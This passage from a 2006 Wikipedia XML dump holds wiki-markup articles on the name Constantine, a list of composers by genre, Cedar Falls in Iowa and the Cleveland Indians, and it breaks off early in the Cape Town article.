*[[Constantine Simitis]]
*[[Konstantin Stanislavski|Constantine Stanislavski]]
*[[Constantin Zureiq|Constantine Zureik]]

==Places called Constantine==
*[[Constantine, Algeria]]
*[[Constantine, Cornwall]]
*[[Constantine Bay]]
*[[Constantine, Michigan]]
*[[Constantine Township, Michigan]]
*[[Constantine, Switzerland]]
*[[Constantine, Andorra]]

==In Music==
*&quot;[[Konstantine]]&quot; is a [[rock ballad]] by the band [[Something Corporate]].
*''[[The Constantines]]'' are an [[indie rock]] band from Guelph, Ontario, Canada.

==In Film==
*''[[Constantine (film)|Constantine]]'' is a movie based on the [[comic book]] [[Hellblazer]] whose main character is called [[John Constantine]].

==Educational establishments==
*Constantine College, based in [[Middlesbrough]], [[England]] and now [[Teesside University]]

==Landmarks==
*[[Strelna|Constantine Palace]]

{{hndis}}
[[Category:Given names]]
[[Category:Surnames]]

[[cs:Konstantin]]
[[de:Konstantin]]
[[el:Κωνσταντίνος]]
[[es:Constantino]]
[[fr:Constantine]]
[[hu:Konstantin]]
[[nl:Constantijn]]
[[pl:Konstantyn]]
[[pt:Constantino]]
[[ru:Константин]]
[[sk:Konštantín]]
[[sv:Konstantin]]</text>
    </revision>
  </page>
  <page>
    <title>List of composers</title>
    <id>6650</id>
    <revision>
      <id>41504066</id>
      <timestamp>2006-02-27T20:34:08Z</timestamp>
      <contributor>
        <ip>70.171.221.22</ip>
      </contributor>
      <comment>/* Vocal */</comment>
      <text xml:space="preserve">'''Composers''' are generally people who write [[music]]. A strong distinction is made, however, between composers, lyricists, and performers in such [[genre|genres]] as [[European classical music|classical]] and [[jazz music|jazz]] music. In other genres, such as [[popular music|popular]] and [[folk music|folk]] music, the term &quot;[[songwriter]]&quot; means someone who authors both music and lyrics, and is more common than &quot;composer.&quot; If a songwriter also performs, he or she is called a &quot;singer/songwriter.&quot;

This page includes a ''list of composers'' sorted by various genres.

For composers of classical music and opera see:
*[[List of classical music composers]]
*[[List of 20th century classical composers]]
*[[List of 21st century classical composers]]
*[[List of opera composers]]

See also: [[List of uncategorized composers]]

== Film ==
''See also [[Film]].''
*[[Jody Gray]]
*[[Pandit Bhajan Sopori]]
*[[Burt Bacharach]], (born 1928)
*[[John Barry (composer)|John Barry]], (born 1933)
*[[Elmer Bernstein]], (1922&amp;ndash;2004)
*[[Adam Berry]], (born 1966)
*[[Christian Biegai]], (born 1974)
*[[Carter Burwell]], (born 1955)
*[[Daniel Elfman]], (born 1953)
*[[George Fenton]], (born 1950)
*[[Philip Glass]], (born 1937)
*[[Elliot Goldenthal]], (born 1954)
*[[Jerry Goldsmith]], (1929&amp;ndash;2004)
*[[Ron Goodwin]], (1925&amp;ndash;2003)
*[[Patrick Gowers]], (born 1936)
*[[Bernard Herrmann]], (1911&amp;ndash;1975)
*[[Joe Hisaishi]]
*[[Maurice Jarre]], (born 1924)
*[[Rolfe Kent]], (born 1963)
*[[Erich Wolfgang Korngold]], (1897&amp;ndash;1957)
*[[Francis Lai]], (born 1932)
*[[Michel Legrand]], (born 1932)
*[[Saša Lošić]], (born 1964)
*[[Albert Hay Malotte]] (1895&amp;ndash;1964)
*[[Henry Mancini]], (1924&amp;ndash;1994)
*[[Cliff Martinez]], (born 1954)
*[[Ennio Morricone]], (born 1928)
*[[Michael Nyman]], (born 1944)
*[[Edward Shearmur]], (born 1966)
*[[Howard Shore]], (born 1946)
*[[Alan Silvestri]], (born 1950)
*[[John Williams]], (born 1932)
*[[Ilayaraja]], (born 1943)

== Ragtime ==
''See also [[Ragtime]].''

*[[William Bolcom]], (born 1938)
*[[Zez Confrey]]
*[[Ben Harney]], (1872&amp;ndash;1938)
*[[Scott Joplin]], (1867&amp;ndash;1917)
*[[Joseph Lamb]], (1887&amp;ndash;1960)
*[[Artie Matthews]], (1888&amp;ndash;1958)
*[[Billy Mayerl]], (1902&amp;ndash;1959),
*[[Ernesto Nazareth]], (1863&amp;ndash;1934)
*[[David Thomas Roberts]]
*[[James Scott (musician)|James Scott]], (1885&amp;ndash;1938)
*[[Wilber Sweatman]], (1882&amp;ndash;1961)

== Religious Music ==
*[[Pandit Bhajan Sopori]]
*[[Johann Sebastian Bach]] (1685&amp;ndash;1750)
*[[William Byrd]] (1540&amp;ndash;1623)
*[[James Butt]] (1929&amp;ndash;2003)
*[[Thomas Tallis]] (1505&amp;ndash;1585)
*[[Aleksandar Simić]] (born 1973)
*[[Ilayaraja]], (born 1943)

== Jazz and Blues ==
''See also [[Jazz]] and [[Blues]].''

*[[Count Basie]], (1904&amp;ndash;1984)
*[[Dave Brubeck]], (born 1920)
*[[Chris Burnett]], (born 1955)
*[[Alain Caron]], (born 1962)
*[[John Coltrane]], (1926&amp;ndash;1967)
*[[Duke Ellington]], (1899&amp;ndash;1974)
*[[Herbie Hancock]], (born 1940)
*[[Krzysztof Komeda]]
*[[Jelly Roll Morton]], (1890&amp;ndash;1941)
*[[Charles Mingus]], (1922&amp;ndash;1979)
*[[Thelonious Monk]], (1920&amp;ndash;1982)
*[[Charlie Parker]], (1920&amp;ndash;1955)
*[[Bob Powell]], (born 1961)
*[[Billy Strayhorn]], (1915&amp;ndash;1967)
*[[Fats Waller]], (1904&amp;ndash;1943)
*[[Clarence Williams]], (1893&amp;ndash;1965)

== Orchestra ==
''See also [[Orchestra music]].''
*[[Abhay Rustum Sopori]],
*[[Burt Bacharach]], (born 1928)
*[[James Butt]] (born 1929)
*[[Titus Carter]] (born 1991)
*[[Roberto Carnevale]] (born 1966)
*[[Daron Hagen]], (born 1961)
*[[Glenn Miller]]
*[[Ilayaraja]], (born 1943)
*[[Tolib Shakhidi]], (born 1946)

== Vocal ==
''See also [[Vocal music]].''

*[[Jacques Brel]], (1929&amp;ndash;1978)
*[[James Butt]], (1929&amp;ndash;2003)
*[[Daron Hagen]], (born 1961)
*[[Georges Moustaki]]
*[[Sydney Nicholson]], (1875&amp;ndash;1947)
*[[Ilayaraja]], (born 1943)
*[http://www.uremusic.com Kevin Ure], (born 1978)

== Pop and Rock == 
''See also [[Pop music]] and [[Rock music]].''

*[[Paul Anka]], (born 1941)
*[[Charles Aznavour]], (born 1924)
*[[Jeff Barry]], (born 1938)
*[[Andy Bell (singer)|Andy Bell]], (born 1964)
*[[Irving Berlin]], (1888&amp;ndash;1989)
*[[Billy Bragg]], (born 1957)
*[[Ray Buttigieg]], (born 1955)
*[[Vince Clarke]], (born 1960)
*[[Brian Eno]], (born 1948)
*[[George Gershwin]], (1898&amp;ndash;1937)
*[[Ira Gershwin]], (1896&amp;ndash;1983)
*[[Michael Jackson]], (born 1958)
*[[Mick Jagger]], (born 1943)
*[[Jean Michel Jarre]], (born 1948)
*[[Elton John]], (born 1947)
*[[John Lennon]], (1940&amp;ndash;1980)
*[[Paul McCartney]], (born 1942)
*[[Tim McGowan]], (born 1966)
*[[George Harrison]], (1943&amp;ndash;2001)
*[[Gerardo Mencia]], (born 1985)
*[[George Michael]], (born 1963)
*[[Joni Mitchell]], (born 1943)
*[[JunkDuster]], (born 1971)
*[[Mike Oldfield]], (born 1953)
*[[Roy Orbison]], (1936&amp;ndash;1988)
*[[Dolly Parton]], (born 1946)
*[[Neil Sedaka]], (born 1939)
*[[Chris Smith (composer)|Chris Smith]], (1879&amp;ndash;1949)
*[[Albert Von Tilzer]], (1878&amp;ndash;1956)
*[[Harry Von Tilzer]], (1872&amp;ndash;1946)
*[[Frank Zappa]], (1940&amp;ndash;1993)
*[[Thom Yorke]]
*[[Jonny Greenwood]]
*[[Kevin Shields]]
*[[Brian Wilson]]
*[[Carl Wilson]]
*[[Kurt Cobain]], (1967&amp;ndash;1994)
*[[Joe Strummer]]
*[[Mick Jones]]
*[[Billy Corgan]]
*[[Richard Ashcroft]]
*[[Jack White]]
*[[Stephen Malkmus]]
*[[Ben Gibbard]]
*[[Todd Rundgren]]
*[[Robert Pollard]]

== Folk and Country ==
''See also [[Folk music]] and [[Country music]].''

*[[Joan Baez]]
*[[John Denver]]
*[[Bob Dylan]]
*[[Nick Drake]]
*[[Ilayaraja]], (born 1943)
Jessen O'Sullivan
Elad Mehl

== New Age ==
''See also [[New Age music]].''

*[[Enya]]
*[[Kevin Kern]]
*[[Tim McGowan]]
*[[George Winston]]
*[[Yanni]]
*[[Jessen O'Sullivan]]
*[[Elad Mehl]]

==Other classifications==
*[[Graphical timeline for classical composers|Timeline for classical composers]]
*[[List of Australian composers]]
*[[List of Canadian composers]]
*[[List of Dutch and Flemish composers]]
*[[List of French composers]]
*[[Polish composers|List of Polish composers]]
*[[Plethora of Indian composers|List of Indian composers]]
*[[List of Indonesian composers]]
*[[List of Iranian composers]]
*[[List of Irish composers]]
*[[List of Italian composers]]
*[[List of Portuguese composers]]
*[[List of Spanish composers]]
*[[List of Swedish composers]]
*[[List of female composers]]
*[[List of gay, lesbian or bisexual composers]]
*[[List of composers of African descent]]
*[[List of soundtrack composers]]
*[[List of video game musicians]]
*[[National Academy of Popular Music/Songwriters Hall of Fame]]

[[bg:Списък на композитори]]
[[cy:Rhestr cyfansoddwyr]]
[[de:Liste bekannter Komponisten]]  
[[et:Heliloojad]] 
[[es:Lista de compositores de música clásica]]
[[eo:Listo de komponistoj]]
[[fr:Compositeurs par époques]] 
[[he:מלחינים]]
[[li:Lies vaan componiste]]
[[nl:Componisten]] 
[[pl:Wielcy kompozytorzy]]
[[ru:Композиторы]]
[[sl:Seznam skladateljev]]
[[zh:作曲家列表]]

[[Category:Composers|*]]
[[Category:Lists of composers|*]]</text>
    </revision>
  </page>
  <page>
    <title>Cedar Falls, Iowa</title>
    <id>6651</id>
    <revision>
      <id>34942567</id>
      <timestamp>2006-01-12T22:27:37Z</timestamp>
      <contributor>
        <ip>65.167.185.15</ip>
      </contributor>
      <comment>/* Notable natives */</comment>
      <text xml:space="preserve">'''Cedar Falls''' is a city located in [[Black Hawk County, Iowa]] and is home to one of Iowa's three Public Universities, the [[University of Northern Iowa]]. As of the [[2000]] census, the city had a total population of 36,145.  Its name comes from being on the [[Cedar River (Iowa)|Cedar River]].  It was originally named Sturgis Falls, after James Sturgis, the first permanent white settler.

== Geography ==
[[Image:IAMap-doton-CedarFalls.PNG|right|Location of Cedar Falls, Iowa]]
Cedar Falls is located at 42&amp;deg;31'25&quot; North, 92&amp;deg;26'47&quot; West (42.523520, -92.446402){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 74.8 [[square kilometre|km&amp;sup2;]] (28.9 [[square mile|mi&amp;sup2;]]).  73.3 km&amp;sup2; (28.3 mi&amp;sup2;) of it is land and 1.5 km&amp;sup2; (0.6 mi&amp;sup2;) of it is water.  The total area is 2.04% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 36,145 people, 12,833 households, and 7,558 families residing in the city.  The [[population density]] is 493.1/km&amp;sup2; (1,277.2/mi&amp;sup2;).  There are 13,271 housing units at an average density of 181.1/km&amp;sup2; (468.9/mi&amp;sup2;).  The racial makeup of the city is 95.14% [[Race (U.S. Census)|White]], 1.57% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.15% [[Race (U.S. Census)|Native American]], 1.61% [[Race (U.S. Census)|Asian]], 0.02% [[Race (U.S. Census)|Pacific Islander]], 0.41% from [[Race (U.S. Census)|other races]], and 1.09% from two or more races.  1.08% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 12,833 households out of which 26.9% have children under the age of 18 living with them, 48.9% are [[Marriage|married couples]] living together, 7.5% have a female householder with no husband present, and 41.1% are non-families. 25.5% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.45 and the average family size is 2.91.

In the city the population is spread out with 18.0% under the age of 18, 30.6% from 18 to 24, 20.5% from 25 to 44, 19.0% from 45 to 64, and 11.9% who are 65 years of age or older.  The median age is 26 years.  For every 100 females there are 88.5 males.  For every 100 females age 18 and over, there are 85.7 males.

The median income for a household in the city is $40,226, and the median income for a family is $56,158. Males have a median income of $37,235 versus $26,312 for females. The [[per capita income]] for the city is $19,140.  16.7% of the population and 5.6% of families are below the [[poverty line]].  Out of the total population, 8.5% of those under the age of 18 and 6.1% of those 65 and older are living below the poverty line.

== Notable natives ==
* [[Annabeth Gish]] -- actress
* [[Gary Kroeger]] -- actor, [[Saturday Night Live]] 1982-1985
* [[Robert James Waller]] -- author of ''[[The Bridges of Madison County]]''
* [[Kurt Warner]] -- [[National Football League|NFL]] quarterback, played for the [[St. Louis Rams]] and [[New York Giants]], currently on the [[Arizona Cardinals]]; a [[University of Northern Iowa]] alumnus
* [[Trev Alberts]] -- former All-american linebacker at [[University of Nebraska-Lincoln|University of Nebraska]] and former analyst on [[ESPN]]'s [[College GameDay]]; attended Northern University (NU) High School
* [[Nancy Price]] -- author of ''Sleeping With the Enemy''
*[[Mark Steines]] -- co-host, [[Entertainment Tonight]], alumnus of the [[University of Northern Iowa]]
* [[Don Denkinger]] -- umpire that made a call that eventually lost the [[St. Louis Cardinals]] the World Series
* [[Rebecca Cummings]] -- porn star

== Points of interest ==
* [[University of Northern Iowa]]
* [[University of Northern Iowa Teaching and Research Greenhouse]]

== External links ==
* [http://www.ci.cedar-falls.ia.us/ Official City of Cedar Falls Website]
* [http://www.uni.edu/ UNI - University of Northern Iowa]
* [http://www.cedarfalls.org/ Cedar Falls Chamber of Commerce]
* [http://www.sturgisfalls.org/ Sturgis Falls Celebration Website]
* [http://www.chicagotribune.com/news/nationworld/chi-0504110183apr11,1,1790110.story?coll=chi-newsnationworld-hed Chicago Tribune Article about controversial 1975 Cedar Falls murder]
{{Mapit-US-cityscale|42.52352|-92.446402}}

{{Iowa}}

[[Category:Cities in Iowa]]
[[Category:Black Hawk County, Iowa]]

[[io:Cedar Falls, Iowa]]</text>
    </revision>
  </page>
  <page>
    <title>Cleveland Indians</title>
    <id>6652</id>
    <revision>
      <id>41802379</id>
      <timestamp>2006-03-01T21:19:06Z</timestamp>
      <contributor>
        <username>EurekaLott</username>
        <id>94900</id>
      </contributor>
      <comment>re-insert image sizes, add expandsection tags</comment>
      <text xml:space="preserve">{{MLB infobox Indians}}

The '''Cleveland Indians''' are a [[Major League Baseball]] team based in [[Cleveland, Ohio]].   They currently are in the [[American League Central|Central Division]] of the [[American League]].

==Franchise history==
===1901-1959: Early to middle history of the franchise===
{{expandsection}}
Contrary to popular belief, the team was not named for 19th century Cleveland player [[Louis Sockalexis]] when it assumed its current name in 1915. Rather, when the Naps needed a new name after [[Napoleon Lajoie]] was sent to the [[Oakland Athletics|Philadelphia Athletics]] after the end of the [[1914 in baseball|1914 season]], [[Charles Somers]], the team owner, asked the local newspapers to come up with a new name for the team. They chose &quot;Indians&quot; as a play on the name of the 1914 [[Atlanta Braves|Boston Braves]], who were known as the &quot;Miracle Boston Braves&quot; after going from last place on July 4 to a sweep in the World Series. The proponents of the name acknowledged that the [[Cleveland Spiders]] of the [[National League]] had sometimes been informally called the &quot;Indians&quot; during Sockalexis' short career there, a fact which merely reinforced the new name. In any case, the name change was assumed to be temporary, but it stuck. And 34 years later, the Indians went on to defeat those same Braves, 4 games to 2, in the [[1948 World Series]] -- after winning a one game playoff against Boston's other team, the [[Boston Red Sox|Red Sox]]. The victory over the Braves was the franchise's second of two world titles; the Tribe had also won the [[1920 World Series]], defeating the [[Brooklyn Dodgers|Brooklyn Robins]] 5 games to 2. (Pluto, 1999)

The Tribe, as the Indians are affectionately referred to by Clevelanders, fielded a competitive team through the late 1940s and early 1950s, featuring pitching stars [[Bob Feller]], [[Early Wynn]], [[Bob Lemon]], and [[Mike Garcia]] (also known as the Big Four).  They broke the [[Baseball color line|color barrier]] in the [[American League]] by signing [[Larry Doby]] in [[1947 in baseball|1947]], eleven weeks after [[Jackie Robinson]] signed with the Dodgers.  They appeared in the World Series in 1948 and [[1954 World Series|1954]] (when they won a record 111 games in a 154-game season), and were in regular contention for the pennant with the dominant [[New York Yankees]].

===1960-1993: The curse of Rocky Colavito===
{{expandsection}}
[[Image:Indian uprising.jpg|thumb|left|150px|The infamous 1987 ''[[Sports Illustrated]]'' &quot;Indian Uprising&quot; cover]]
A 30+ year slump began for the Indians with the club's most infamous trade; which involved slugging right fielder, and huge fan favorite, [[Rocky Colavito]]. Just before opening day in [[1960]] Colavito was traded to the [[Detroit Tigers]] for [[Harvey Kuenn]]. The [[Akron Beacon Journal]]'s beat reporter for the Tribe, [[Terry Pluto]], has documented the decades of woe that seemed to follow the trade, in his book ''The [[Curse of Rocky Colavito]]''. Pluto takes an in-depth look at this particular era, in which the franchise perennially played an almost comically bad brand of baseball. Pluto has written other books on the Indians, most notably, ''[[Our Tribe : A Baseball Memoir]].'' 

[[Frank Lane|Frank 'Trader' Lane]] was the main culprit in the construction of what became a running joke in baseball for three decades. His poor trades left the team with little in assets, and the legacy snowballed. Without any strength in their [[Farm team|farm system]] to nurture, the team fell deeper and deeper into a slump, which discounting a few moments of false hope, continued until the Tribe's inaugural season at [[Jacobs Field]] in 1994.

===1994 and beyond: A new beginning ===
[[Image:Jacobs_field3.jpg|left|thumb|250px|[[Jacobs Field]] ]]
Indians General Manager [[John Hart (baseball)|John Hart]] and team owner [[Dick Jacobs]] finally found the light at the end of the tunnel. In what seems to have been a case of life imitating art, the 1994 Cleveland Indians re-discovered their winning ways of the 1940s and 1950s; The [[1989 in film|1989]] [[film|motion picture]] ''[[Major League (film)|Major League]]'' featured the Indians as a worst-to-first story: the [[1993 in baseball|1993]] Indians ended their era at [[Cleveland Stadium|Cleveland Municipal Stadium]], 76-86, which was last in the American League East Division. The team opened the [[1994 in baseball|1994 season]] with a new stadium, [[Jacobs Field]], and with it came the success and the spirits of their movie counterparts. The 1994 MLB Season ended prematurely, with a [[Major League Baseball Players Association|Players Union]] [[1994 baseball strike|strike]]; on the day the strike began, the Indians were one game behind the [[Chicago White Sox]] -- their newly-formed AL Central rivals-- with 49 left to be played. 

The strike, which extended into the [[1995 in baseball|1995 season]], hardly dampened the teams newly found success. Without losing a step, the 1995 Indians went 100-44 in a shortened season. The team went on to defeat the [[Boston Red Sox]] in the [[1995 American League Division Series|Divisional Series]]; and the [[Seattle Mariners]] in the [[1995 American League Championship Series|ALCS]], reaching the [[1995 World Series|World Series]] for their first time since 1954. Although the Tribe went on to lose to the World Series four games to two against the [[Atlanta Braves]], 1995 was still a remarkable year for the Indians; besides winning 100 games, they also led Major League Baseball in [[batting average]] and led the American League in team [[earned run average|ERA]].  

The Tribe took the AL Central Crown again in [[1996 in baseball|1996]], but lost to the [[Baltimore Orioles]] (three games to one) in the [[1996 American League Division Series|Divisional Series]]. In [[1997]] the Tribe started lukewarm, but finished the regular season hot. Taking their third consecutive AL Central title, the Tribe shocked the baseball world by beating the heavily-favored [[New York Yankees]] in the [[1997 American League Division Series|Divisional Series]] (3-2). After getting payback for 1996 against the Baltimore Orioles in the [[1997 American League Championship Series|ALCS]], the Tribe went on to finish a bittersweet season against the [[Florida Marlins]]. In a [[1997 World Series|dramatic series]], which featured (among other oddities) one of the coldest games in World Series history, Indians fans were reminded that the [[Curse of Rocky Colavito]] was not, in fact, dead: with the  Indians in the lead going into the bottom of the ninth inning of game seven, the Marlins managed to tie the game. Relief Pitcher [[Jose Mesa]], who is largely blamed by Tribe fans for the loss, gave up the run. The Marlins went on to clinch the title in the bottom of the eleventh, with [[Edgar Renteria]] driving the game winning RBI just past the glove of leaping Indians second baseman [[Tony Fernandez]]. In his 2002 autobiography, Indians shortstop [[Omar Vizquel]] directly blamed Mesa for the loss.

In [[1998 in baseball|1998]], the Indians fell short of returning to the World Series for a third time in four seasons, being beaten by the New York Yankees in the [[1998 American League Championship Series|ALCS]]. In [[1999 in baseball|1999]], the [[1999 American League Division Series|Divisional Series]] was the stage for one of the biggest collapses in MLB postseason history; the Indians, who were in command with a two games to none lead going into game three, gave up three consecutive games to the Boston Red Sox. The debacle cost Indians manager [[Mike Hargrove]] his job.

In [[2000 in baseball|2000]], the Indians got off to a mediocre start, going 44-42 at the break. They soon caught fire and went 46-30 the rest of the way to finish 90-72. Unfortunately, it wasn't enough as they ended up five games behind the [[Chicago White Sox]] in the Central division and missed the [[wild card (sports)|wild card]] by one game to the [[Seattle Mariners]]. In 2000, [[Larry Dolan]] bought the Indians for $323 million from Richard Jacobs, who, along with his late brother David, had paid $35 million for the club in 1986.

[[2001 in baseball|2001]] saw a return to prominence for the Indians. After losing [[Manny Ramirez]] and [[Sandy Alomar Jr.]] to free agency, the Tribe signed former-[[MLB Most Valuable Player Award|MVP]] [[Juan Gonzalez]], who arguably had one his best years in 2001, and reclaimed the Central division with a 91-71 record. One of the highlights of the season was a game televised nationally on ESPN on August 5th, where the Indians erased a 12-run deficit to the Mariners and won the game in extra innings, now known as [[the Impossible Return]]. The playoff run was short lived, however, as they were eliminated in the [[2001 American League Division Series|first round]] by the juggernaut Mariners.

==== The Shapiro years ====
In the 2001 offseason, GM [[John Hart (baseball)|John Hart]] resigned and his assistant [[Mark Shapiro]] took the reins. Shapiro decided that the Indians team was aging, and needed to be rebuilt with young minor-league talent. This sent Cleveland fans in an uproar, as Shapiro traded fan favorite pitching ace [[Bartolo Colon]] for then-unknowns [[Brandon Phillips]], [[Cliff Lee]], and [[Grady Sizemore]], and the Indians struggled through [[2002 in baseball|2002]] and [[2003 in baseball|2003]], posting losing records both years.

In [[2004 in baseball|2004]], the young talent finally started to hit its stride, and the Indians were a terrific offensive team. Unfortunately, the [[bullpen]] was a major Achilles heel. They blew more than 20 [[save (sport)|save]]s that year, and the Indians finished with an 80-82 record.

In early [[2005 in baseball|2005]], the offense was anemic, and couldn't score runs like the year before. However, the offense soon picked up, and the Indians began a 9-game winning streak in mid-June, going over .500 for good. After a brief July slump, the Indians caught fire in August, and they cut a 15.5 game deficit in the Central Division to the White Sox down to 1.5 games. However, the season came to a heartbreaking end as the Indians went on to lose six of their last seven games, five of them by one run, and missed the playoffs by only two games.

During the [[2006 in baseball|2006]] offseason the Indians traded the popular [[Coco Crisp]] along with [[David Riske]] and [[Josh Bard]] to the [[Red Sox]] for reliever [[Guillermo Mota]], third base prospect [[Andy Marte]], catching prospect [[Kelly Shoppach]], a player to be named later and cash, and [[Arthur Rhodes]] to the [[Phillies]] for outfielder [[Jason Michaels]].  Many fans saw the trade of  Crisp for a package littered with prospects as more of a rebuilding move than a trade that would push the Indians into the playoffs in the coming season. Shapiro defended the move, citing the inclusion of Marte, regarded as one of the game's top prospects, and Mota, whom Shapiro feels can be the Tribe's setup man. &quot;It was,&quot; Shapiro said, &quot;too much to turn down.&quot;

==Trivia==
*The Indians' non-competitiveness during the 1960s through the 1980s became a subject for humor.  A standard joke of the time had a judge asking a child in a parental custody battle which parent he preferred to live with.  The child says neither one, they both beat me &amp;mdash; the judge then asks who does he want to live with and the answer is &quot;the Cleveland Indians, they don't beat anybody.&quot;

*[[Richie Scheinblum]], an outfielder who played with the Indians from 1965 to 1969, joked, &quot;Maybe we should change our name to the Cleveland Utility Company.  All we have are [[utility player]]s,&quot; meaning players who were kept on the roster because they played several positions, but none of them particularly well.

*On [[June 4]], [[1974]] the Indians hosted &quot;Ten Cent [[Beer]] Night&quot;, but had to forfeit the game to the  [[Texas Rangers (baseball)|Texas Rangers]] due to drunken and unruly fans.  

*In 1981, [[Lon Simmons]], then broadcasting for the [[Oakland Athletics]], told his listeners, &quot;The A's leave after this game for Cleveland.  It was only by a 13 to 12 vote that they decided to go.&quot; The suggestion was that, despite being in a pennant race that would eventually see them win their division, the A's would rather forfeit all the games in the series than actually go to Cleveland; not that they were afraid of the Indians, then having a typically terrible season, but that the city would be terribly unpleasant.

*That same season, [[Graig Nettles]], a [[New York Yankees]] third baseman who had begun his career with the Indians, took the intercom of the team's charter flight, and said, &quot;We will soon be landing in Cleveland.  Please set your watches back 42 minutes.&quot;

*The Indians were the subject of a 1989 [[film|movie]], ''[[Major League (movie)|Major League]]'', which starred [[Charlie Sheen]] and [[Tom Berenger]]. Sequels followed in 1994 and 1998.

*The team's most notable fan, comedian [[Drew Carey]], poked fun at the rest of baseball while he promoted his new [[sitcom]] ''[[The Drew Carey Show]]'' in 1995.  In the promos, he often uttered the now-famous line:

:''Finally, it's '''your''' team that sucks!''

==Quick facts==
*'''Founded:''' [[1893]], as the Grand Rapids, Michigan, franchise in the minor [[Western League]].  Moved to Cleveland in [[1900]] after the [[National League]] had vacated the city following the [[1899]] season, and when the Western League was renamed the American League.  The American became a major league in [[1901]].  Cleveland is thus a charter member of the American League.
*'''Formerly known as:'''  the Cleveland Blues ([[1901]]), Broncos/Bronchos ([[1902]]) and Naps ([[1903]]-[[1914]]).  They were called the Blues because they wore blue uniforms.  When  reporters referred to them as the &quot;Bluebirds&quot;, which the players hated, the players chose the name Broncos or Bronchos.  The name was changed to the Naps when [[Nap Lajoie|Napoleon Lajoie]] was the team's star player.
*'''Uniform colors:''' Navy blue and red with silver trim
*'''Logo design:''' &quot;Chief Wahoo&quot; (a smiling Indian [[caricature]]) and a cursive capital &quot;I&quot;
*'''Mascot:''' Slider
*'''Playoff appearances''' (9): [[1920]], [[1948]], [[1954]], [[1995]], [[1996]], [[1997]], [[1998]], [[1999]], [[2001]]

==[[Baseball Hall of Fame]]rs==
[[Image:Nap_Lajoie_Baseball_Card.jpg|right|thumb|[[Nap Lajoie]] on a 1911  [[baseball card]]]]
{|
|valign=&quot;top&quot;|

Elected mainly on basis of performance with the Indians
*[[Earl Averill]] 
*[[Lou Boudreau]] 
*[[Stan Coveleski]] 
*[[Larry Doby]] 
*[[Bob Feller]] 
*[[Elmer Flick]] 
*[[Addie Joss]] 
*[[Nap Lajoie]] 
*[[Bob Lemon]] 
*[[Al Lopez]]
*[[Joe Sewell]] 
*[[Tris Speaker]]
*[[Early Wynn]] 
|width=&quot;100&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
Other Hall-of-Famers associated with Indians
*[[Steve Carlton]]
*[[Dennis Eckersley]]
*[[Ralph Kiner]] 
*[[Eddie Murray]]
*[[Hal Newhouser]] 
*[[Phil Niekro]] 
*[[Satchel Paige]] 
*[[Gaylord Perry]] 
*[[Sam Rice]] 
*[[Frank Robinson]] 
*[[Hoyt Wilhelm]] 
*[[Dave Winfield]] 
*[[Cy Young]]
|}
&lt;br clear=&quot;all&quot;&gt;

==Current roster==
{{:Cleveland Indians roster}}

==Minor league affiliations==
* '''AAA:''' [[Buffalo Bisons]], [[International League]]
* '''AA:''' [[Akron Aeros]], [[Eastern League]]
* '''Advanced A:''' [[Kinston Indians]], [[Carolina League]]
* '''A:''' [[Lake County Captains]], [[South Atlantic League]]
* '''Short A:''' [[Mahoning Valley Scrappers]], [[New York-Penn League]]
* '''Rookie:''' [[Burlington Indians]], [[Appalachian League]]
* '''Rookie:''' [[VSL Indians]], [[Venezuelan Summer League]]

==See also==
*[[List of the Top 100 Greatest Indians Roster]]
*[[Cleveland Indians/Award winners and league leaders|Indians award winners and league leaders]]
*[[Cleveland Indians/Team records|Indians statistical records and milestone achievements]]
*[[Cleveland Indians/Players of note|Indians players of note]]
*[[Cleveland Indians/Broadcasters|Indians broadcasters and media]]
*[[Cleveland Indians/Managers and ownership|Indians managers and ownership]]
*[[List of sports team names derived from Indigenous peoples]]

==External links==
*[http://cleveland.indians.mlb.com/NASApp/mlb/cle/homepage/cle_homepage.jsp Cleveland Indians official web site]
*[http://www.baseballlibrary.com/baseballlibrary/features/topteams/1954indians.stm 1954 Cleveland Indians]
*[http://www.sec.gov/Archives/edgar/data/1059019/0000950152-99-002807.txt Cleveland Indians 1998 Annual Report], the last filed with the SEC
*[http://www.sportsecyclopedia.com/al/clevind/indians.html Sports E-Cyclopedia]

== References ==
* Pluto, Terry (1999).  ''Our Tribe: A Baseball Memoir''.  New York: Simon &amp; Schuster.   [[Special:Booksources|ISBN 0-684-84505-9]]
* Cleveland Indians. ''Indians History Overview: The early years''. http://cleveland.indians.mlb.com/NASApp/mlb/cle/history/cle_history_overview.jsp. Retrieved Sep 2, 2004.

{{MLB}}

[[Category:1901 establishments]]
[[Category:Cleveland Indians| ]]
[[Category:Major League Baseball teams]]

[[de:Cleveland Indians]]
[[ja:クリーブランド・インディアンス]]
[[pt:Cleveland Indians]]
[[sv:Cleveland Indians]]
[[zh:克里夫蘭印地安人]]</text>
    </revision>
  </page>
  <page>
    <title>Cape Town</title>
    <id>6653</id>
    <revision>
      <id>42076602</id>
      <timestamp>2006-03-03T17:40:23Z</timestamp>
      <contributor>
        <username>Treeboy2001</username>
        <id>907401</id>
      </contributor>
      <comment>/* Highlights nearby */</comment>
      <text xml:space="preserve">{{Cape Town infobox}}
'''Cape Town''' ([[Afrikaans language|Afrikaans]]: ''Kaapstad'' /{{IPA|ˈkɑːpstɑt}}/; [[Xhosa language|Xhosa]]: ''iKapa'') is the third most populous [[city]] in [[South Africa]]. Cape Town is widely regarded as one of the world's most beautiful cities. It is built on a portion of the Cape Peninsula, on the Atlantic Ocean, and has dozens of peaks rising thousands of feet in height both in and around its various suburbs.

As the oldest city in South Africa, Cape Town is known affectionately as the Mother City. It is the [[Legislature|legislative]] capital of South Africa, as well as capital of the [[Western Cape|Western Cape province]]. Cape Town is famous for its harbour which was constructed by a process of land reclamation, as well as its location at the northern end of the [[Cape Peninsula]] and generally known as the [[Cape of Good Hope]]. Its central area is dominated by [[Table Mountain (South Africa)|Table Mountain]], so named after its flat top. The [[Castle of Good Hope]], the historical centre of the city which was built on the original shoreline, is located at {{coor dms|33|55|33|S|18|25|37|E|type:city}}.

Cape Town is a major trade centre for South Africa.  Situated on the South-western corner of the African continent, it is an important base for trade with other countries in Africa and on other continents.

Cape Town is the [[tourism]] capital of South Africa, receiving the largest number of tourists of any South African city.

